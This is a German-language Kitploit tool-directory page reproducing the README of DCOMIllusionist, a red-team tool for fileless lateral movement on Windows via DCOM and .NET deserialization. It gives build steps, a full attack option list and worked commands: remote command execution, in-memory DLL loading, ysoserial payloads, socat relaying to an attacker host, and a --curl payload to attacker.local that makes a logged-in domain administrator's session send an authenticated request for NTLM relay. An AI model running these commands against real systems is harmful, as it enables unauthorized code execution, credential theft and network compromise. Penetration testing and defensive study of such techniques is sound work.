Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DCOMIllusionist — DCOM In-Memory- und dateilose Laterale-Bewegungstechniken durch .Net-Deserilization | Kitploit
Tools/GitHubGitHub/synacktiv/dcomillusionist
Privilege EscalationExploitationLaterale BewegungPost-ExploitationPenetrationstestsCommand and ControlAuthentifizierungRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubsynacktiv/dcomillusionist

DCOMIllusionist

28333vor 2 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DCOM In-Memory- und dateilose Laterale-Bewegungstechniken durch .Net-Deserilization

Repository anzeigen
🎩✨🪄

DCOMIllusionist

Windows-Technik für dateilose laterale Bewegung.

Einleitung  •  Build  •  Verwendung  •  Technische Details  •  Danksagungen


Einleitung

Dieses Tool ermöglicht die Remote-Codeausführung auf einem Windows-Rechner, sofern Sie über administrative Rechte verfügen. Es nutzt DCOM und das Verhalten von .NET-DCOM-Servern, die eingehende Objekte automatisch deserialisieren. Dies ermöglicht die Ausführung beliebiger Befehle oder das Laden von DLLs, ohne auf die Festplatte zu schreiben.

Ursprünglich von James Forshaw als Technik zur Privilegienausweitung entdeckt, wurde diese Methode für laterale Bewegung angepasst, indem bestimmte Registrierungsschlüssel remote geändert werden. Zusätzlich unterstützt sie die sitzungsübergreifende Ausnutzung über DCOM, sodass beliebige Befehle in einer anderen Benutzersitzung im Sicherheitskontext dieser Sitzung ausgeführt werden können.

Es funktioniert auf Workstations und Servern, jedoch ist für diese Technik ein Netzwerkzugriff zwischen dem Zielrechner und einem vom Angreifer kontrollierten Rechner erforderlich.

Weitere Details in diesem Abschnitt.

Build

Ein Release ist verfügbar, oder Sie können es manuell erstellen:

root@kitploit:~
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Verwendung

root@kitploit:~
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!WICHTIG]
Für die erfolgreiche Nutzung dieses Tools ist administrativer Zugriff sowohl auf dem angreifenden Host (über eine erhöhte Shell) als auch auf dem Zielrechner erforderlich.

root@kitploit:~
Verwendung:
  DCOMIllusionist.exe [optionen] -t <ziel> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Optionen:
  -h, --help                        Hilfe anzeigen und beenden
  -d, --debug                       Debug-Logging aktivieren
  -t, --target <wert>               Zielhostname oder -IP festlegen
  -p, --port <wert>                 Zielport festlegen (Standard: 49765)
      --clsid <wert>                Eine CLSID angeben (ohne geschweifte Klammern)
      --appid <wert>                Eine AppID angeben (ohne geschweifte Klammern)
  -s, --session <wert>              Eine Sitzungskennung angeben
   -l --listen <host>               Listener-FQDN oder -IP angeben
  -g, --gadget <wert>               Zu verwendendes Gadget angeben
      --attacker-sid <wert>         Die SID des Angreifers festlegen
      --no-port-check               Überprüfung der Portverfügbarkeit deaktivieren
      --restore-backup <pfad>       Registrierung aus Sicherung wiederherstellen
      --local-registry-only         Nur lokale Registrierungsänderungen durchführen
      --remote-registry-only        Nur entfernte Registrierungsänderungen durchführen
      --skip-local-registry-setup   Lokale Registrierungseinrichtung überspringen
      --skip-remote-registry-setup  Entfernte Registrierungseinrichtung überspringen
      --hku                         Entfernte Registrierungsoperationen auf HKCU statt HKLM durchführen
      --fake-clsid                  Gefälschte CLSID mit gefälschter AppId erstellen

Angriffe:
      --ps-exec <argumente>         Einen Befehl remote mit PSExec ausführen
      --exec <befehl>               Einen Befehl remote ausführen
      --exec-args <argumente>       Argumente für den Befehl
      --curl <url>                  Webanfrage im Curl-Stil als Payload verwenden
      --file-write-src <quelle>     Zu schreibende Datei
      --file-write-dst <ziel>       Zielpfad
      --load-dll <pfad>             Eine DLL in den entfernten Prozess laden
      --dll-class <wert>            Klasse in der DLL, die ausgeführt werden soll (inkl. Namespace)
      --dll-method <wert>           Statische Methode in der Klasse, die ausgeführt werden soll (Standard: Run)
      --yso-b64 <b64>               Base64-kodierten ysoserial-Payload ausführen
      --test-network                Netzwerkzugriff vom Ziel zum Angreiferrechner überprüfen
      --list-sessions               Interaktive Sitzungen auf dem Ziel auflisten

Beispiele:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Standard)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Standard)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - Benutzerkontensteuerung                                  (Interaktiver Benutzer)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interaktiver Benutzer)

--session

Wie zuvor erläutert, kann eine Sitzung angegeben werden, um einen beliebigen Befehl in der Sitzung eines anderen Benutzers auszuführen.

[!WARNUNG] Dies funktioniert nur mit AppIDs, die für die Ausführung unter der Identität des interaktiven Benutzers konfiguriert sind. Dies wird automatisch erledigt, es ist nicht notwendig, das --appid-Argument anzugeben, da das Tool standardmäßig die AppID verwendet, die mit der Benutzerkontensteuerung verknüpft ist.

[!WICHTIG] Dies funktioniert nur, wenn der angreifende Rechner einer Domäne beigetreten ist. Weitere Details hier.

--list-sessions

Listet entfernte interaktive und aktive Sitzungen auf dem Ziel mittels WTSEnumerateSessions auf.

--listen

Wenn der Zielrechner den Host des Angreifers nicht direkt erreichen kann, schlägt der Exploit fehl. Es ist jedoch möglich, einen Zwischenrechner anzugeben, den das Ziel erreichen kann. Mit Tools wie socat kann der Datenverkehr dann von diesem Zwischenrechner zum Host des Angreifers weitergeleitet werden.

listen

  • Auf dem kompromittierten Rechner:
root@kitploit:~
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • Auf dem Angreiferrechner:
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Bei der Ausführung des Exploits aus einer runas /netonly-Shell heraus kann die zugehörige Identität nicht automatisch abgerufen werden. Daher ist es erforderlich, diese explizit mit der Option --attacker-sid anzugeben, damit der Angriff erfolgreich ist.

--exec

--exec kann mit --exec-args verwendet werden, um beliebige Binärdateien auf dem Ziel auszuführen:

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!HINWEIS] --ps-exec ist lediglich ein Wrapper dafür, dasselbe kann erreicht werden mit: --ps-exec calc

--curl

Curl kann in Szenarien mit sitzungsübergreifender Ausnutzung nützlich sein. Wenn Sie administrative Rechte auf einem Rechner haben und beispielsweise ein Domänenadministrator in Sitzung 3 aktiv ist, ist es möglich, eine authentifizierte HTTP-Anfrage, rein über .NET, im Namen dieses Benutzers zu initiieren. Indem diese Anfrage an einen vom Angreifer kontrollierten Rechner mit ntlmrelayx.py gesendet wird, können klassische NTLM-Relay-Angriffe durchgeführt werden, um den Benutzer zu kompromittieren.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

Es ist möglich, eine beliebige DLL vollständig im Arbeitsspeicher zu laden, ohne die Festplatte zu berühren. Zum Beispiel:

root@kitploit:~
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

Standardmäßig wird die statische Methode Run (ohne Parameter) der angegebenen Klasse ausgeführt. Dieses Verhalten kann mit dem Parameter --dll-method angepasst werden.

--yso-b64

Für erweiterte Gadget-Erstellung kann Ysoserial.net verwendet werden. Der resultierende Base64-kodierte Payload kann direkt übergeben werden; er wird in eine RolePrincipal-Instanz eingekapselt und auf dem Zielrechner deserialisiert.

[!WARNUNG] Funktioniert nur mit BinaryFormatter

--test-network

Führt die gleichen Operationen wie der normale Exploit aus, sendet jedoch nur einen Dummy-Payload, um zu bestätigen, dass das Ziel eine Verbindung zum Angreiferrechner herstellen kann.

--hku

Alles kann von einem Benutzer mit niedrigen Berechtigungen ausgenutzt werden, indem der Registrierungsstammschlüssel HKEY_USERS anstelle von HKLM verwendet wird. Dies kann verwendet werden, wenn ein Benutzer Mitglied der Gruppe Leistungsprotokoll-Benutzer oder Verteilte COM-Benutzer ist. In diesem Fall muss --attacker-sid angegeben werden, um auf den richtigen Registrierungspfad zuzugreifen. Es muss auch eine beschreibbare CLSID angegeben werden (siehe --fake-clsid):

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a

--fake-clsid

Erstellen Sie eine gefälschte CLSID und AppId. Auf der AppId werden Berechtigungen so gesetzt, dass der aktuelle Benutzer oder die --attacker-sid den DCOM-Server starten und aktivieren kann. Dies ist nützlich, wenn die Ausnutzung von einem Benutzer mit niedrigen Berechtigungen auf HKU durchgeführt wird.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe  --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Erstelle gefälschte CLSID
[+] Neue AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] Neue CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}

Technische Details

Wenn ein in .NET geschriebener DCOM-Server ein Objekt empfängt, fragt er die DCOM-Schnittstelle IManagedObject ab. Wenn die Schnittstelle vorhanden ist, ruft der Server die Methode GetSerializedBuffer auf. Der Client antwortet mit einer serialisierten Version des Objekts, die der Server dann deserialisiert, was zur Ausführung beliebigen Codes führt. Damit dies gelingt, muss der Zielrechner direkten Netzwerkzugriff auf den Host des Angreifers haben (siehe --listen).

Technische Details

Durch das Fälschen beliebiger DCOM-OBJREFs ist es möglich, den Zielrechner auf jedes entfernte System umzuleiten. Beispielsweise kann socat verwendet werden, um Datenverkehr auf Port 135 (und einem weiteren beliebigen Port) zum tatsächlich vom Angreifer kontrollierten Rechner weiterzuleiten. In James Forshaws Proof of Concept, der später die Grundlage für die „Potato"-Exploits bildete, verwendete er die GUID des PointerMoniker, um beliebige Objekte in OBJREFs zu marshallen. Dieser Ansatz löste erfolgreich die Authentifizierung aus, scheiterte jedoch in den nachfolgenden Schritten. Durch die Verwendung der GUID des Standard-Marshaller stattdessen wird es möglich, funktionsfähige, beliebige OBJREFs zu erstellen und zu senden.

Standardmäßig sind jedoch auf den getesteten Windows Server-Versionen keine .NET-DCOM-Server verfügbar. Um die entfernte Interaktion zu ermöglichen, kann die Windows-Registrierung remote geändert werden, um eine benutzerdefinierte AppID mit einer .NET-CLSID zu verknüpfen und so über DCOM zugänglich zu machen. Durch eine sorgfältige Auswahl der AppID ist es auch möglich, eine sitzungsübergreifende Ausnutzung über den Sitzungs-Moniker zu ermöglichen, sofern auf dem Zielrechner eine interaktive Sitzung vorhanden ist. Dies wurde erneut von James Forshaw entdeckt und detailliert beschrieben hier und hier.

Damit der Exploit erfolgreich ist, muss der Zielserver die serialisierten Objektdaten (das Gadget) vom angreifenden Rechner abrufen. Dies erfordert, dass der Server sich beim Host des Angreifers authentifiziert.

Wenn die AppID nicht für die Ausführung unter der Identität des interaktiven Benutzers konfiguriert ist, stammt der Authentifizierungsversuch als Anonym. Um dies zu ermöglichen, muss der Rechner des Angreifers so konfiguriert sein, dass er anonyme DCOM-Authentifizierung akzeptiert, indem die standardmäßigen DCOM-Zugriffsberechtigungen geändert werden.

Wenn die AppID mit dem interaktiven Benutzer verknüpft ist, erfolgt die Authentifizierung mit der Identität des Benutzers in der angegebenen Sitzung (über --session) oder standardmäßig in Sitzung 0. In diesem Fall muss der Rechner des Angreifers einer Domäne beigetreten sein, um die Authentifizierung des Benutzers zu akzeptieren. Deshalb wird die Gruppe Jeder vorübergehend zu den standardmäßigen DCOM-Zugriffsberechtigungen hinzugefügt, um eine erfolgreiche Authentifizierung zu ermöglichen.

Es ist wichtig zu beachten, dass nur die standardmäßigen Zugriffsberechtigungen geändert werden; Start- und Aktivierungsberechtigungen bleiben unverändert. Alle Änderungen werden nach Abschluss des Vorgangs rückgängig gemacht. Wenn etwas schiefgeht, wird eine Sicherung der ursprünglichen Einstellungen erstellt, die wiederhergestellt werden kann.

[!VORSICHT] Der Rechner des Angreifers bleibt während des Exploits vorübergehend in einem permissiveren Zustand, alle Änderungen werden jedoch danach rückgängig gemacht.

Danksagungen

  • @tiraniddo für die ursprüngliche Forschung, diese Forschung und für oleviewdotnet. Ein Großteil seines Codes wurde in öffentlichen C#-Offensive-Tools wiederverwendet, einschließlich diesem.
  • @nt0x4 für seine Arbeit am TextFormattingRunProperties-Gadget; er zeigte, wie man beliebige DLLs in den Arbeitsspeicher lädt. Dies wurde für die --curl- und --file-write-Angriffe wiederverwendet.
  • @cube0x0 für KrbRelay
  • @pwntester für Ysoserial.net
  • Dylan Tran und Jimmy Bayne von IBM X-Force Red; einige Inspirationen aus ForsHops.
Tool herunterladen